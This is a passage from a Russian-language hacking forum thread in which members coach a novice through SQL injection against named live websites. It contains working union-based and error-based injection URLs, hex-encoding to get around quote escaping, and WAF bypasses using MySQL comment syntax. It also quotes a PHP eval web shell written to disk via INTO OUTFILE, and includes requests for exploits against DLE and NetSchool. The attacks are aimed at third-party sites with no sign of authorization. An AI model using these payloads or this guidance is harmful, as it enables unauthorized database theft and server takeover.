[Задай Вопрос - Получи Ответ]

Discussion in 'Веб-уязвимости' started by Rombl4, 17 Nov 2008.

  1. muljtik

    muljtik New Member

    Joined:
    5 Jan 2012
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    подскажите в чём дело.. Ситуация такая, сделав запрос такого вида
    _http://www.witchcraft.nu/newsitem.php?id=-362+union+select+1,2,table_name,4,5,6,7,8,9,10,11%20from%20information_schema.tables%20limit%2029,1--
    я получаю название таблицы "usedboard", теперь хочу прочитать содержание этой таблицы, делаю запрос такого вида
    _http://www.witchcraft.nu/newsitem.php?id=-362+union+select+1,2,column_name,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='usedboard' LIMIT 1,1 --
    поидеи как я читал этот запрос должен мне показать содерживое таблицы "usedboard", но вместо этого он мне выкидывает ошибку "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'usedboard\' LIMIT 1,1 --' at line 1"
    такая проблема не только с этим пациентам, с десяток разных сайтов перепробовал неполучается прочитать и ошибки не везде одинаковые пишет.
    P.S. только начинаю осваивать данное дело, тапками не кидаться :)
     
  2. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Возможно в другой БД твоя таблица, подбери так:
    Code:
    http://www.witchcraft.nu/newsitem.php?id=-362+and(select+1+from(select+count(*),concat((select+concat(table_schema,0x2e,table_name,0x00)+from+information_schema.columns+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
    Потом from+db.table
     
  3. muljtik

    muljtik New Member

    Joined:
    5 Jan 2012
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Ну ты грузанул канеш.. ничего не понял с твоего запроса, я пока что на стадии изучения -5+union+select+1,..., а так мои запросы правельные? я думаю может в них я что то не правильно пишу, спасибо за помощь, а ещё буду благодарен за мануал где используются запросы твоего вида
    ------------------------
    Наугад переберал запросы вида
    http://www.witchcraft.nu/newsitem.php?id=-362+union+select+1,2,id,4,5,6,7,8,9,10,11+from+usedboard+limit+1,1--
    пытался найти мне нужное поле, попал только на одно существующие "ID", все не правельные выводились ошибкой "Unknown column 'login' in 'field list'", так почему же у меня неполучается прочитать какие поля существуют в usedboard
     
    #343 muljtik, 14 Jan 2012
    Last edited: 14 Jan 2012
  4. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    почти правильный, у тебя там на сайте magic_quotes_gpc = on поэтому нужно избегать ковычки, нужно хексить имя таблицы, т.е. сейчас у тебя так:
    ... where table_name='usedboard' LIMIT 1,1 --
    а нужно
    ... where table_name=0x75736564626f617264 LIMIT 1,1 --
    в мане все есть, тем более ошибка сама намекает на проблему ;)
    зы предугадывая ход твоих мыслей, онлайн декодировщик в хекс http://www.string-functions.com/string-hex.aspx
    зыы по поводу запроса от Ereee, это error based техника, ман по ней гуглится легко, но лучше начни с основ.
     
  5. muljtik

    muljtik New Member

    Joined:
    5 Jan 2012
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    спасибо за помощь, с этим разобрался, бывает такое что в бд нет логина и пароля админа, врятли да? хренова искал походу..
    trololoman96 я согласен с вами что в мануале всё есть, но найти это тоже не просто, даже через поиск :)
    прочитал что если команда user() выдаёт значение username@localhost, то получается есть возможность залить шелл локально, нашёл вот такую команду "UNION SELECT 1,2,3,'<?php eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php'; --" как понял к 1.php надо подставить путь который можно узнать в phpinfo на сервере пациента, но что делать с этим куском кода '<?php eval($_GET[‘e’]) ?>'?
    ещё путает один нюанс, тоже всё с мануалов путает немного, дело в том что все начинают делать запросы по разному вот несколько примеров
    -362+union+select+1,...
    362+union+select+1,...
    362+and(1=2)+union+select+1,...
    null+union+select+1,...
    так же в конце запроса видел разную концовку ( -- /* ), играет это какую нибудь роль? если да ткните носом в мануал где это расписано для усвоения материала :)
     
  6. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    http://forum.antichat.ru/thread43966.html
     
  7. coka-cola

    coka-cola New Member

    Joined:
    21 Dec 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Ребят подскажите sql иньекции для dle 7.3 дабы она старая думаю вас незатруднит)
    ну или фак по взлому мож кто кинут с меня +!
     
  8. muljtik

    muljtik New Member

    Joined:
    5 Jan 2012
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    появилась проблема посерьёзнее предыдущий :mad:
    в общем ситуация такая, есть пациент "avmaniacs.com", нашёл там sql inj, знаю точное кол-во стобцов, определил командой
    www.avmaniacs.com/review.php?id=-319+group+by+27-- , если вместо 27 поставить число 28, то появится ошибка "Unknown column '28' in 'group statement'" следовательно стобцов 27 :)
    теперь вставляю такой запрос
    www.avmaniacs.com/review.php?id=-319+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,27--
    поидеи должна отобразится страница где покажутся несколько цифр, но мнесто этого вылазиет страница "Forbidden"
    что можно мне сделать??
     
  9. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Code:
    http://www.avmaniacs.com/review.php?id=319+or+1+group+by+concat_ws(0x3a,version(),0x00,rand(0)|0)+having+min(0)--+f
    Code:
    Duplicate entry '[COLOR=Magenta]5.1.56[/COLOR]:' for key 'group_key'
    Code:
    http://www.avmaniacs.com/review.php?id=319+and(select+1+from(select+count(*),/*!concat*/((select+table_name+from+information_schema./**/tables+limit+0,1),floor(rand(0)*2))x+from+information_schema./**/tables+group+by+x)a)--+f
    Code:
    Duplicate entry '[COLOR=Magenta]CHARACTER_SETS[/COLOR]1' for key 'group_key'
    Фильтрует union(но нам это не нужно), concat, information_schema.tables. Обходим:
    concat - /*!concat*/
    information_schema./**/tables
     
    #349 Ereee, 17 Jan 2012
    Last edited: 17 Jan 2012
  10. muljtik

    muljtik New Member

    Joined:
    5 Jan 2012
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    спасибо за разъяснение, теперь буду знать выходит такая ошибка значит фильтруют что то :)
    из твоего кода снова ничего не понял, но нашёл более простое решение обхода фильтра
    "/*!union*/+/*!select*/"
    на двух пациентах проканало, больше не встречалось таких
    PHP:
    www.avmaniacs.com/review.php?id=-319/*!union*/+/*!select*/user(),version(),3,4,5,6,7,8,9,10,11,12,13,1415,16,17,18,19,20,21,22,23,24,25,26,27--
    www.ceripp.it/curriculum.php?id=-1/*!union*/+/*!select*/1,user(),3,version(),5,6--
    ---------------------
    хрен там что оказывается :)
    получилось только узнать версию и юзера, начал узнавать table_name как тут же меня обламали с ошибками на несуществующую страницу...
    ------------
    оказывается не всё так плохо как я думал
    сделав запрос вот такого вида
    PHP:
    www.ceripp.it/curriculum.php?id=-1/*!union*/+/*!select*/1,2,3,/*!table_name*/,5,6+/*!from*/+/*!information_schema.tables*/--
    я получил то что хотел :)
     
    #350 muljtik, 18 Jan 2012
    Last edited: 18 Jan 2012
  11. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Просто через error-based подбирать кол-во полей не нужно. Но и один минус - выводит только 64 символа(это не проблема, благодаря nikp ;) ).
     
  12. sssr1

    sssr1 New Member

    Joined:
    8 Dec 2011
    Messages:
    19
    Likes Received:
    2
    Reputations:
    0
    как через ФТП узнать домен сайта? joomla
     
  13. SL1TE

    SL1TE New Member

    Joined:
    12 Dec 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    $mosConfig_live_site = 'http://ваш_сайт.ru';
     
    #353 SL1TE, 15 Feb 2012
    Last edited: 15 Feb 2012
  14. infoseller

    infoseller Member

    Joined:
    17 Aug 2011
    Messages:
    136
    Likes Received:
    13
    Reputations:
    0
    [​IMG]

    Не видели подобную цмску и где по дефолту админка?? (нарыл в темпах сайта)
     
  15. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    http://www.activecollab.com/
     
    2 people like this.
  16. Stronger

    Stronger Member

    Joined:
    26 Dec 2010
    Messages:
    54
    Likes Received:
    7
    Reputations:
    2
    какие есть баги и уязвимости у движка NetSchool
     
  17. ХАМнаМИЛЛИОН

    Joined:
    31 Mar 2011
    Messages:
    19
    Likes Received:
    1
    Reputations:
    0
    Такая проблема:
    С неизвестного URL действует скрипт, выполняющий запросы к API одного сервиса. Какие запросы выяснить, конечно же, можно. Но можно ли выяснить URL этого скрипта?
    //сори, если не туда С:
     
  18. DwH

    DwH New Member

    Joined:
    21 Feb 2012
    Messages:
    60
    Likes Received:
    2
    Reputations:
    0
    А где все эти действия вы видите ? там где вы это видети наверное есть логи, можно по ним аринтироватся.
     
  19. ХАМнаМИЛЛИОН

    Joined:
    31 Mar 2011
    Messages:
    19
    Likes Received:
    1
    Reputations:
    0
    прямо на странице сервиса. Никаких логов нет.
     
    #359 ХАМнаМИЛЛИОН, 22 Feb 2012
    Last edited: 22 Feb 2012
  20. DwH

    DwH New Member

    Joined:
    21 Feb 2012
    Messages:
    60
    Likes Received:
    2
    Reputations:
    0
    Ну тогда нет.